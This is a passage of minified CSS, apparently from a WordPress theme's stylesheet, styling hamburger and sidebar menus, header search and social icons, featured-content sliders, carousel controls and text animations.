a,.pchgbel ul.sub-menu li a,.penci-menu-hbg ul.sub-menu li a{margin:0;padding:10px 0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}#sidebar-nav .menu li a .indicator,.pchgbel .menu li a .indicator,.penci-menu-hbg .menu li a .indicator{text-decoration:none;position:absolute;top:0;right:0;height:100%;z-index:20;font-size:17px;font-style:normal;text-align:right;padding:11px 0 11px 5px;line-height:1;color:inherit!important;opacity:.85}.menu li a .indicator .fa-angle-up:before,.pchgbel .menu li a .indicator .fa-angle-up:before{content:"\f106"}#sidebar-nav .menu .sub-menu li a .indicator,.pchgbel .menu .sub-menu li a .indicator,.penci-menu-hbg .menu .sub-menu li a .indicator{padding:8px 0 8px 5px}#sidebar-nav .menu .sub-menu li a .indicator:hover,#sidebar-nav .menu li a .indicator:hover,.pchgbel .menu .sub-menu li a .indicator:hover,.penci-menu-hbg .menu .sub-menu li a .indicator:hover,.penci-menu-hbg .menu li a .indicator:hover{color:var(--pcaccent-cl)}#sidebar-nav ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu,.pchgbel ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu,.penci-menu-hbg ul.menu>li.megamenu>ul.sub-menu>li>ul.sub-menu{display:block;padding:0}#sidebar-nav ul.menu>li.megamenu>ul.sub-menu>li>a,.pchgbel ul.menu>li.megamenu>ul.sub-menu>li>a,.penci-menu-hbg ul.menu>li.megamenu>ul.sub-menu>li>a{display:none}.fa-angle-double-up:before{content:"\f102"}#close-sidebar-nav,.penci-menu-hbg-overlay{position:fixed;visibility:hidden;opacity:0;text-decoration:none;top:0;left:0;font-size:1.4em;color:#313131;padding:10px;height:100%;background:rgba(0,0,0,.8);right:0;z-index:99996;cursor:pointer;transition:all .5s;-webkit-transition:all .5s;-moz-transition:all .5s}.penci-menuhbg-open .penci-menu-hbg-overlay{left:0;opacity:1;visibility:visible}.open-sidebar-nav #close-sidebar-nav{left:270px;opacity:1;visibility:visible}#close-sidebar-nav i{display:none;width:24px;height:24px;background-color:#fff;line-height:24px;text-align:center;border-radius:12px;font-size:14px}.penci-menu-hbg{background-repeat:no-repeat;background-position:center center}.penci-menu-hbg #logo{display:none}.penci-menuhbg-wapper{float:right;width:18px;margin-right:12px;text-align:center}.penci-menuhbg-toggle{padding:0;width:18px;line-height:20px;background-position:right top;background-repeat:no-repeat;box-sizing:content-box;-moz-box-sizing:content-box;display:flex;align-items:center;height:58px;-webkit-transition:all .3s;-moz-transition:all .3s;-ms-transition:all .3s;-o-transition:all .3s;transition:all .3s}.penci-menuhbg-toggle .penci-menuhbg-inner{transition:-webkit-transform .33s .3s ease-in;transition:transform .33s .3s ease-in;-webkit-transform-origin:center;transform-origin:center;display:block;height:20px;position:relative;width:100%;overflow:hidden}.penci-menuhbg-toggle .penci-lines{height:2px;display:block;width:18px;background-color:transparent;position:relative;transition:background .2s ease,opacity .2s ease}.penci-menuhbg-toggle .penci-lines:before{top:5px;transition:transform .65s cubic-bezier(.3,1,.3,1) 0s,background-color .2s ease,opacity .2s ease}.penci-menuhbg-toggle .penci-lines:after{top:-5px;-webkit-transform-origin:50% 50%;transform-origin:50% 50%;transition:transform .65s cubic-bezier(.3,1,.3,1) 80ms,background-color .2s ease,opacity .2s ease}.penci-menuhbg-toggle .penci-lines:after,.penci-menuhbg-toggle .penci-lines:before{display:block;width:100%;height:2px;position:absolute;left:0;content:"";background-color:#313131}.penci-menuhbg-toggle .lines-button{cursor:pointer;line-height:0!important;top:9px;position:relative;font-size:0!important;user-select:none;display:block}.penci-menuhbg-toggle .lines-button.penci-hover-effect{left:-30px;margin-top:-2px}.penci-menuhbg-toggle .lines-button:after{height:2px;display:inline-block;width:100%;position:absolute;left:0;top:0;content:"";background-color:#313131;transition:transform .65s cubic-bezier(.3,1,.3,1) 40ms,background-color .2s ease,opacity .2s ease}.penci-menuhbg-toggle.closed .penci-menuhbg-inner{transition:-webkit-transform .33s 0s ease;transition:transform .33s 0s ease}.penci-menuhbg-toggle:hover .lines-button:after,.penci-menuhbg-toggle:hover .penci-lines:after,.penci-menuhbg-toggle:hover .penci-lines:before{background:var(--pcaccent-cl)}.penci-menuhbg-toggle:hover .lines-button:after,.penci-menuhbg-toggle:hover .penci-lines:after,.penci-menuhbg-toggle:hover .penci-lines:before{transform:translateX(30px)}.penci-menu-hbg-inner #penci-close-hbg{position:absolute;top:10px;left:15px;cursor:pointer;z-index:1;-webkit-transition:all .5s ease;-moz-transition:all .5s ease;-ms-transition:all .5s ease;-o-transition:all .5s ease;transition:all .5s ease;width:20px;height:20px;display:block;overflow:hidden}.penci-menu-hbg-inner #penci-close-hbg i{display:none}.admin-bar .penci-menu-hbg #penci-close-hbg{top:40px}.penci-menu-hbg-inner #penci-close-hbg:after,.penci-menu-hbg-inner #penci-close-hbg:before{content:"";height:100%;width:2px;backface-visibility:hidden;position:absolute;border-radius:5px;background:#888;left:9px;transition:opacity .2s ease,background-color .2s ease}.penci-menu-hbg-inner #penci-close-hbg:before{transform:rotate(45deg)}.penci-menu-hbg-inner #penci-close-hbg:after{transform:rotate(-45deg)}.penci-menu-hbg-inner #penci-close-hbg:hover{transform:rotate(180deg);-ms-transform:rotate(180deg);-webkit-transform:rotate(180deg);-o-transform:rotate(180deg);-moz-transform:rotate(180deg)}.penci-menu-hbg-inner #penci-close-hbg:hover:after,.penci-menu-hbg-inner #penci-close-hbg:hover:before{background-color:#111}.penci-menu-hbg-inner .penci-hbg_sitetitle{font-size:18px;margin-top:15px;line-height:1.3;font-family:var(--pchead-font);font-weight:var(--pchead-wei)}.penci-menu-hbg-inner .penci-hbg_desc{margin-top:10px;line-height:1.45;font-size:14px}.penci-menu-hbg-inner .penci-hbg-header{text-align:center;margin-bottom:30px}.penci-hbg-header .penci-lazy[src*=penci-holder]{width:auto;height:auto}.penci-hbg-header .penci-hbg-logo .penci-lazy[src*=penci-holder]{background:0 0}.penci-menu-hbg-inner .menu-hamburger-navigation{margin-bottom:30px}.penci-menu-hbg-widgets1{margin-top:40px}.penci-menu-hbg-widgets2{margin-top:40px}.penci-menu-hbg .penci-sidebar-content .widget{margin-bottom:40px}.penci-menu-hbg-inner .header-social.sidebar-nav-social{text-align:left;padding-left:0;padding-right:0;margin:26px -3px 0}.penci-menu-hbg-inner .penci-hbg-footer{margin-bottom:0;margin-top:30px}.penci_menu_hbg_ftext{line-height:1.6}.penci-menu-hbg{padding-bottom:30px}.penci-menu-hbg.penci-menu-hbg-left #penci-close-hbg{left:auto;right:10px}.penci-menu-hbg-inner .penci-sidebar-content{width:100%!important;float:none!important}.penci-menu-hbg.penci-menu-hbg-right{right:0;left:auto;transform:translateX(330px);-webkit-transform:translateX(330px);-moz-transform:translateX(330px)}.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-right{transform:translateX(0)}#navigation.header-4 .penci-menuhbg-wapper,#navigation.header-5 .penci-menuhbg-wapper{float:none;vertical-align:top;display:inline-block}.wrap-social-search{display:inline-block;vertical-align:top}.pcheader-icon{float:right;width:20px;text-align:center}.pcheader-icon.shoping-cart-icon{margin-right:15px}#navigation.header-4 .pcheader-icon.shoping-cart-icon,#navigation.header-5 .pcheader-icon.shoping-cart-icon,#navigation.header-6 .pcheader-icon.shoping-cart-icon,.pcheader-icon.shoping-cart-icon.clear-right{margin-right:0}.pcheader-icon>a{height:58px;font-size:14px;line-height:58px;color:#313131;cursor:pointer;background:0 0;display:block;-webkit-transition:all .3s;-moz-transition:all .3s;-ms-transition:all .3s;-o-transition:all .3s;transition:all .3s}.pcheader-icon.shoping-cart-icon>a{position:relative}.pcheader-icon.shoping-cart-icon>a>i{font-size:17px}.pcheader-icon.shoping-cart-icon>a>span{position:absolute;z-index:1;width:14px;height:14px;display:inline-block;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;top:calc(50% - 17px);right:-4px;background:var(--pcaccent-cl);color:#fff;text-align:center;white-space:nowrap;line-height:14px;font-size:8px;font-family:var(--pcbody-font);transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s}body:not(.penci-fawesome-ver5) .shoping-cart-icon>a i.fas.fa-shopping-cart{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#navigation.header-6 .pcheader-icon.shoping-cart-icon>a>span{top:23px}.is-sticky #navigation.header-6 .pcheader-icon.shoping-cart-icon>a>span{top:12px}.pcheader-icon .fa-shopping-bag:before{content:"\f07a";font-family:FontAwesome}.penci-fawesome-ver5 .pcheader-icon .fa-shopping-bag:before{font-family:"Font Awesome 5 Free";font-weight:900}.show-search{position:absolute;left:0;width:100%;top:0;height:58px;background:#fff;text-align:left;z-index:200;display:none}.show-search form.pc-searchform input.search-input{padding:15px 35px 15px 0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;border:none;position:absolute;top:0;left:0;width:100%;z-index:3;color:#313131;height:58px;line-height:28px;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;background:0 0;font-weight:400;letter-spacing:0;font-size:13px}.show-search form.pc-searchform i{display:none}.header-search-style-overlay .show-search form.pc-searchform i{display:block;font-size:24px}.show-search a.close-search{position:absolute;width:20px;height:60px;display:inline-block;right:0;top:0;z-index:5;text-align:center;line-height:60px;font-size:16px;cursor:pointer;color:#313131}.show-search a.close-search i{font-size:70%}form.pc-searchform .searchsubmit{display:none}.penci-header-trans .show-search form.pc-searchform input.search-input{padding-left:15px}.penci-header-trans .show-search a.close-search{right:15px}.header-search-style-showup .penci-top-search{position:relative}.header-search-style-showup .show-search{left:auto;right:0;width:300px;top:100%;padding:20px;border-top:4px solid var(--pcaccent-cl);height:auto!important;visibility:hidden;display:block;-webkit-transition:all .27s ease-in-out;-moz-transition:all .27s ease-in-out;-o-transition:all .27s ease-in-out;transition:all .27s ease-in-out;-webkit-transform-origin:0 0;-moz-transform-origin:0 0;-ms-transform-origin:0 0;-o-transform-origin:0 0;transform-origin:0 0;-webkit-transform:rotateX(-90deg);-moz-transform:rotateX(-90deg);-ms-transform:rotateX(-90deg);-o-transform:rotateX(-90deg);transform:rotateX(-90deg);box-shadow:0 3px 3px rgba(190,190,190,.6);-webkit-box-shadow:0 3px 3px rgba(190,190,190,.6);-moz-box-shadow:0 3px 3px rgba(190,190,190,.6)}.header-search-style-showup .show-search,.header-search-style-showup .sticky-wrapper.is-sticky .show-search,.header-search-style-showup .sticky-wrapper:not(.is-sticky) #navigation .show-search,.header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search{height:auto!important}.header-search-style-showup .show-search.active{-webkit-transform:rotateX(0);-moz-transform:rotateX(0);-ms-transform:rotateX(0);-o-transform:rotateX(0);transform:rotateX(0);visibility:visible}.header-search-style-showup .show-search:before{visibility:hidden;opacity:0;content:"";display:block;position:absolute;top:-9px;right:5px;margin:0 auto;width:0;height:0;border-style:solid;border-width:0 6px 6px 6px;-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0);-webkit-transition:all .4s ease;transition:all .4s ease;border-color:transparent transparent var(--pcaccent-cl) transparent;border-bottom-color:var(--pcaccent-cl)}.header-search-style-showup .show-search.active:before{visibility:visible;opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.header-search-style-showup .show-search form.pc-searchform input.search-input,.header-search-style-showup .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input,.header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search form.pc-searchform input.search-input{border:1px solid var(--pcborder-cl);border-right:0;height:40px!important;padding:5px 12px!important;position:relative}.header-search-style-showup .show-search a.close-search{display:none}.header-search-style-showup .show-search form.pc-searchform .searchsubmit{display:block;border:0;padding:0 16px;font-size:13px;font-weight:var(--pchead-wei);font-family:var(--pchead-font);background-color:var(--pcaccent-cl);color:#fff;text-transform:uppercase;transition:all .3s;cursor:pointer;white-space:nowrap}.widget.widget_search form.pc-searchform .searchsubmit{display:none}.header-search-style-showup .show-search .pc-searchform-inner{display:flex}.header-search-style-showup .search-results-wrapper .penci-dropdown-results{left:-20px;width:calc(100% + 40px)}.header-search-style-showup .penci-builder-element .search-results-wrapper .penci-dropdown-results{left:0;width:100%}.main-nav-social{display:inline-block;text-align:left;margin:0 13px 0 0;float:right;line-height:58px;-webkit-transition:all .3s;-moz-transition:all .3s;-ms-transition:all .3s;-o-transition:all .3s;transition:all .3s}#navigation.header-4 .main-nav-social,#navigation.header-5 .main-nav-social{float:none;vertical-align:top;margin:0 0 0 30px}.main-nav-social .inner-header-social{display:inline-block;vertical-align:top;position:relative}.main-nav-social a{float:left;display:inline-block;vertical-align:top;margin-right:10px;color:#313131;font-size:14px}.main-nav-social a:last-child{margin-right:0}.main-nav-social a:hover{color:var(--pcaccent-cl)}#navigation.header-6 .main-nav-social{line-height:80px;margin:0 0 0 30px}.button-menu-mobile i,.main-nav-social a i,.pcheader-icon a i{line-height:inherit;vertical-align:top}.is-sticky #navigation.header-6 .main-nav-social{line-height:58px}@media only screen and (min-width:961px){#navigation.header-10 .main-nav-social,#navigation.header-11 .main-nav-social,#navigation.header-9 .main-nav-social{line-height:80px}.is-sticky #navigation.header-10 .main-nav-social,.is-sticky #navigation.header-11 .main-nav-social,.is-sticky #navigation.header-9 .main-nav-social{line-height:58px}}#navigation.header-4 .pcheader-icon,#navigation.header-4 .penci-menuhbg-toggle,#navigation.header-4 .top-search-classes,#navigation.header-5 .pcheader-icon,#navigation.header-5 .penci-menuhbg-toggle,#navigation.header-5 .top-search-classes,#navigation.header-6 .pcheader-icon,#navigation.header-6 .penci-menuhbg-toggle,#navigation.header-6 .top-search-classes{margin-left:15px}#header{margin-bottom:var(--pchd-mg);position:relative}.elementor-template-full-width #header,.elementor-template-full-width .penci-page-header-wrap,.page-template-page-fullwidth #header,.page-template-page-fullwidth .penci-page-header-wrap,.single.elementor-template-full-width .post{margin-bottom:0}.elementor-template-full-width .clear-footer,.page-template-page-fullwidth .clear-footer{height:0;margin-bottom:0}.header-header-1.has-bottom-line,.header-header-4.has-bottom-line,.header-header-7.has-bottom-line{border-bottom:1px solid #ececec}.header-header-1.has-bottom-line.penci-vernav-hide-innerhead,.header-header-4.has-bottom-line.penci-vernav-hide-innerhead,.header-header-7.has-bottom-line.penci-vernav-hide-innerhead{border-bottom:none}#header .inner-header{width:100%;background-size:cover;position:relative;background-position:center center;background-repeat:no-repeat;height:auto}.penci-header-trans #header .inner-header{background:0 0!important}#header .inner-header .container{padding:40px 0;text-align:center;position:relative;overflow:hidden}.header-style-header-3 #header .inner-header .container{display:table}@media only screen and (max-width:767px){.header-style-header-3 #header .inner-header .container{display:block}}#logo{text-align:center}.container.align-left-logo #logo{text-align:left}.container.has-banner #logo{display:table-cell;vertical-align:middle;width:400px}.container.has-banner .header-banner{display:table-cell;vertical-align:middle;width:770px;text-align:right}.penci-header-trans .penci-header-wrap{position:absolute;z-index:10000;left:0;right:0}.penci-header-trans .penci-header-wrap #header{margin-bottom:0}.penci-header-trans .penci-header-second{box-shadow:none;border:0}.penci-header-trans .penci-header-signup-form{margin-top:0}.penci-header-trans #logo .penci-logo-sticky,.penci-header-trans .is-sticky #logo .penci-logo{display:none}.penci-header-trans .is-sticky #logo .penci-logo-sticky{display:block;position:static;visibility:visible;opacity:1}.penci-header-trans #navigation.sticky.sticky-active #logo .penci-logo-sticky{display:inline}.penci-header-trans #navigation.sticky.sticky-active #logo .penci-logo{display:none}@media only screen and (min-width:961px){#navigation.header-11{background:0 0!important}#navigation.header-11>.container{background:#fff;box-shadow:0 0 30px 0 rgba(0,0,0,.1);padding-left:20px;padding-right:20px}#navigation.header-11.header-layout-bottom{box-shadow:none;border:0}.penci-header-trans .header-style-header-1 .penci-header-wrap>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-10 #header>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-11 #header>#navigation:not(.sticky-active) .container,.penci-header-trans .header-style-header-2 #header>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-3 #header>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-4 .penci-header-wrap>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-5 #header>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-6 #header>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-7 .penci-header-wrap>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-8 #header>#navigation:not(.sticky-active),.penci-header-trans .header-style-header-9 #header>#navigation:not(.sticky-active){background:0 0!important;border-top-color:transparent!important;border-bottom-color:transparent!important}.penci-header-trans .sticky-wrapper:not(.is-sticky) #navigation,.penci-header-trans .sticky-wrapper:not(.is-sticky) #navigation.header-11>.container{background:0 0!important;border-top-color:transparent!important;border-bottom-color:transparent!important}#navigation.header-10.penci-logo-overflow #logo,#navigation.header-11.penci-logo-overflow #logo{z-index:199;position:relative;height:80px!important;line-height:1!important}#navigation.header-10.penci-logo-overflow #logo a,#navigation.header-11.penci-logo-overflow #logo a{position:absolute;top:0;width:100%;left:50%;transform:translateX(-50%);-webkit-transform:translateX(-50%)}#navigation.header-10.penci-logo-overflow #logo img,#navigation.header-11.penci-logo-overflow #logo img{height:auto!important;max-height:inherit;margin-top:0!important;z-index:199}}@media only screen and (max-width:960px){.penci-header-trans #navigation.penci-disable-sticky-nav #logo .penci-logo-sticky,.penci-header-trans #navigation.sticky #logo .penci-logo-sticky,.penci-header-trans .sticky-wrapper #navigation.header-6 #logo .penci-logo-sticky{display:inline}.penci-header-trans #navigation.penci-disable-sticky-nav #logo .penci-logo,.penci-header-trans #navigation.sticky #logo .penci-logo,.penci-header-trans .sticky-wrapper #navigation.header-6 #logo .penci-logo{display:none}}.header-slogan{margin:17px 0 0 0;text-align:center;line-height:1}.header-slogan .header-slogan-text{margin:0;font-size:14px;font-weight:700;line-height:1.5;font-style:italic;color:#313131;display:inline-block;position:relative;font-family:var(--pcbody-font);padding:0 15px;vertical-align:top}.header-slogan .header-slogan-text:after,.header-slogan .header-slogan-text:before{content:"";position:absolute;top:50%;height:1px;display:block;width:60px;background:var(--pcborder-cl);left:100%}.header-slogan .header-slogan-text:before{left:auto;right:100%}.header-social{display:block;text-align:center;margin:20px 0 0}.header-social .inner-header-social{display:inline-block;vertical-align:top;position:relative}.header-social a{align-items:center;display:inline-flex;vertical-align:middle;margin-right:13px}.header-social a:last-child{margin-right:0}.header-social a i{font-size:14px;color:#313131;-webkit-transition:all .2s linear;-moz-transition:all .2s linear;-ms-transition:all .2s linear;-o-transition:all .2s linear;transition:all .2s linear;vertical-align:top}.header-social a:hover i{color:var(--pcaccent-cl)}.featured-area{margin-top:calc(var(--pchd-mg) * -1 + 4px);margin-bottom:var(--pchd-mg);position:relative}.penci-block-el.featured-area,.penci-block-vc.featured-area{margin-top:0!important;margin-bottom:0!important}.featured-area:after,.featured-area:before{content:"";display:table;clear:both}.featured-area.featured-style-2,.featured-area.featured-style-6{margin-top:calc(var(--pchd-mg) * -1 + 10px)}.penci-vernav-enable #header+.featured-area{margin-top:calc(var(--pchd-mg) * -1)}.penci-vernav-enable #header+.featured-area.featured-style-1,.penci-vernav-enable #header+.featured-area.featured-style-10,.penci-vernav-enable #header+.featured-area.featured-style-12,.penci-vernav-enable #header+.featured-area.featured-style-14,.penci-vernav-enable #header+.featured-area.featured-style-16,.penci-vernav-enable #header+.featured-area.featured-style-18,.penci-vernav-enable #header+.featured-area.featured-style-19,.penci-vernav-enable #header+.featured-area.featured-style-20,.penci-vernav-enable #header+.featured-area.featured-style-21,.penci-vernav-enable #header+.featured-area.featured-style-22,.penci-vernav-enable #header+.featured-area.featured-style-23,.penci-vernav-enable #header+.featured-area.featured-style-24,.penci-vernav-enable #header+.featured-area.featured-style-25,.penci-vernav-enable #header+.featured-area.featured-style-26,.penci-vernav-enable #header+.featured-area.featured-style-27,.penci-vernav-enable #header+.featured-area.featured-style-29.style-30,.penci-vernav-enable #header+.featured-area.featured-style-32,.penci-vernav-enable #header+.featured-area.featured-style-35.style-36,.penci-vernav-enable #header+.featured-area.featured-style-4:not(.style-5),.penci-vernav-enable #header+.featured-area.featured-style-8{margin-top:calc(30px - var(--pchd-mg))}.penci-vernav-enable #header+.featured-area.featured-style-28,.penci-vernav-enable #header+.featured-area.featured-style-38{margin-top:calc(var(--pchd-mg) * -1 + 4px)}.penci-vernav-enable #header+.featured-area.featured-style-2,.penci-vernav-enable #header+.featured-area.featured-style-37,.penci-vernav-enable #header+.featured-area.featured-style-6{margin-top:calc(var(--pchd-mg) * -1 + 10px)}.penci-vernav-enable #header+.penci-header-signup-form{margin-top:calc(var(--pchd-mg) * -1)}.single.penci-vernav-enable.penci-body-single-style-10.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,.single.penci-vernav-enable.penci-body-single-style-20.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,.single.penci-vernav-enable.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,.single.penci-vernav-enable.penci-body-single-style-5.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,.single.penci-vernav-enable.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form,.single.penci-vernav-enable.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.single-portfolio) #header+.penci-header-signup-form{margin-top:0}.featured-area.featured-video{background:#fafafa url(images/loading.gif) no-repeat center center}.wrapper-boxed.penci-page-hide-header .featured-area{margin-top:0}.dark-layout-enabled .featured-area.featured-video{background-color:#2d2d2d;background-image:url(images/loading2.gif)}.featured-area.featured-video>div{visibility:hidden}.featured-area.featured-video.loaded-wait>div{visibility:visible}.featured-area.featured-video.loaded-wait{background:0 0}.penci-owl-carousel .owl-item .owl-lazy,.penci-owl-carousel .owl-item .penci-lazy{opacity:1;-webkit-transition:none;-moz-transition:none;-ms-transition:none;-o-transition:none;transition:none}.penci-owl-carousel .penci-owl-nav .owl-next,.penci-owl-carousel .penci-owl-nav .owl-prev,.penci-slick-carousel .slick-arrow{width:34px;height:34px;display:inline-block;vertical-align:top;background:#fff;color:#010101;font-size:12px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;position:absolute;z-index:10;top:50%;margin-top:-18px;left:20px;line-height:34px;text-align:center;opacity:0;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;border:none}.penci-slick-carousel .slick-arrow{padding:0}.penci-owl-carousel .penci-owl-nav .owl-next i[class*=" penciicon-"],.penci-owl-carousel .penci-owl-nav .owl-next i[class^=penciicon-],.penci-owl-carousel .penci-owl-nav .owl-prev i[class*=" penciicon-"],.penci-owl-carousel .penci-owl-nav .owl-prev i[class^=penciicon-],.penci-slick-carousel .slick-arrow i{font-weight:700!important;vertical-align:top}.penci-owl-carousel .penci-owl-nav .owl-next i,.penci-owl-carousel .penci-owl-nav .owl-prev i,.penci-slick-carousel .slick-arrow i{line-height:inherit}.penci-nav-visible .penci-owl-nav .owl-next,.penci-nav-visible .penci-owl-nav .owl-prev{opacity:.5}.penci-owl-carousel .penci-owl-nav.disabled{display:none}.penci-owl-carousel .penci-owl-nav.disabled .owl-next,.penci-owl-carousel .penci-owl-nav.disabled .owl-prev{display:none!important}.penci-owl-carousel .penci-owl-nav .owl-next,.penci-slick-carousel .slick-next{left:auto;right:20px}.penci-owl-carousel:hover .penci-owl-nav .owl-next,.penci-owl-carousel:hover .penci-owl-nav .owl-prev,.penci-slick-carousel .slick-arrow{opacity:.8}.penci-owl-carousel .penci-owl-nav .owl-next:hover,.penci-owl-carousel .penci-owl-nav .owl-prev:hover,.penci-slick-carousel .slick-next:hover{opacity:1}.penci-custom-slides .penci-owl-carousel .penci-owl-dots,.penci-owl-carousel .penci-owl-dots{position:absolute;bottom:15px!important;z-index:10;width:100%;text-align:center;left:0}.penci-owl-carousel .penci-owl-dots.disabled{display:none!important}.penci-custom-slides .penci-owl-carousel .penci-owl-dot,.penci-owl-carousel .penci-owl-dot{display:inline-block;margin:0 3px;vertical-align:top;background:0 0;border:none}.penci-owl-carousel .penci-owl-dot span{width:10px;height:10px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;border:2px solid #fff;background:rgba(0,0,0,.3);display:inline-block;vertical-align:top;transition:.3s all ease-in-out;transform:scale(.75)}.penci-owl-carousel .penci-owl-dot.active span{background:#fff}.penci-owl-carousel-slider .penci-owl-dot.active span{transform:scale(1)}.penci-enSticky .penci-sticky-ct.elementor-column,.penci-enSticky .penci-sticky-sb.elementor-column{display:block!important}.penci-featured-content{position:absolute;display:block;top:50%;width:100%;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);padding:0 25px;z-index:9}.penci-featured-content .feat-text{max-width:480px;width:100%;display:block;margin:0 auto;padding:23px 10px 21px;position:relative;text-align:center;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.7s;-moz-animation-duration:.7s;-ms-animation-duration:.7s;-o-animation-duration:.7s;animation-duration:.7s;animation-delay:.4s;-webkit-animation-delay:.4s;animation-delay:var(--pcfs-delay);-webkit-animation-delay:var(--pcfs-delay);opacity:0}.penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text,.penci-slick-carousel .slick-current .penci-featured-content .feat-text,.penci-slick-carousel .swiper-slide-active .penci-featured-content .feat-text{-webkit-animation-name:pencitextslider;-moz-animation-name:pencitextslider;-o-animation-name:pencitextslider;animation-name:pencitextslider}@-webkit-keyframes pencifade{0%{opacity:0}100%{opacity:1}}@-moz-keyframes pencifade{0%{opacity:0}100%{opacity:1}}@-o-keyframes pencifade{0%{opacity:0}100%{opacity:1}}@keyframes pencifade{0%{opacity:0}100%{opacity:1}}@-webkit-keyframes pencitextslider{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-moz-keyframes pencitextslider{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-o-keyframes pencitextslider{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencitextslider{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes pencitextslide{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-moz-keyframes pencitextslide{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-o-keyframes pencitextslide{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencitextslide{0%{opacity:0;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.penci-featured-content .featured-slider-overlay{position:absolute;top:0;left:0;right:0;bottom:0;z-index:1;background:#000;opacity:.7}.penci-featured-content .feat-text .featured-cat{z-index:3;position:relative;margin-bottom:5px;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.7s;-moz-animation-duration:.7s;-ms-animation-duration:.7s;-o-animation-duration:.7s;animation-duration:.7s}.penci-featured-content .feat-text .featured-cat a{color:#fff;text-decoration:none!important}.penci-featured-content .feat-text h3{z-index:3;position:relative;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.7s;-moz-animation-duration:.7s;-ms-animation-duration:.7s;-o-animation-duration:.7s;animation-duration:.7s}.penci-featured-content .feat-text h3 a{color:#fff;font-size:24px;text-transform:uppercase;text-decoration:none}.penci-featured-content .feat-text .feat-meta{z-index:3;position:relative;margin-top:6px;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.7s;-moz-animation-duration:.7s;-ms-animation-duration:.7s;-o-animation-duration:.7s;animation-duration:.7s}.penci-featured-content .feat-text>:nth-child(1){animation-delay:var(--pcfs-delay)}.penci-featured-content .feat-text>:nth-child(2),.penci-mag-featured-content .feat-text>:nth-child(1){animation-delay:calc(var(--pcfs-delay) + .2s)}.penci-featured-content .feat-text>:nth-child(3),.penci-mag-featured-content .feat-text>:nth-child(2){animation-delay:calc(var(--pcfs-delay) + .4s)}.penci-featured-content .feat-text>:nth-child(4),.penci-mag-featured-content .feat-text>:nth-child(3){animation-delay:calc(var(--pcfs-delay) + .6s)}.penci-featured-content .feat-text .feat-meta span,.penci-fslider-fmeta{color:#fff;font-size:13px}.feat-meta span>time,.penci-fslider-fmeta span>time,span.date>time,span.side-item-meta>time{font-size:inherit;color:inherit;text-decoration:inherit;font-weight:inherit;background:0 0;font-style:inherit;font-family:inherit}.penci-featured-content .feat-text .feat-meta span a,.penci-fslider-fmeta span a{color:#fff;font-size:inherit;text-decoration:none!important}.penci-featured-content .feat-text .feat-meta>span:after,.penci-fslider-fmeta>span:after,.popularpost_meta>span:after{content:"";display:inline-block;margin:0 8px 0 12px;width:0;height:10px;border-left:1px solid;opacity:.35;color:inherit}.penci-featured-content .feat-text 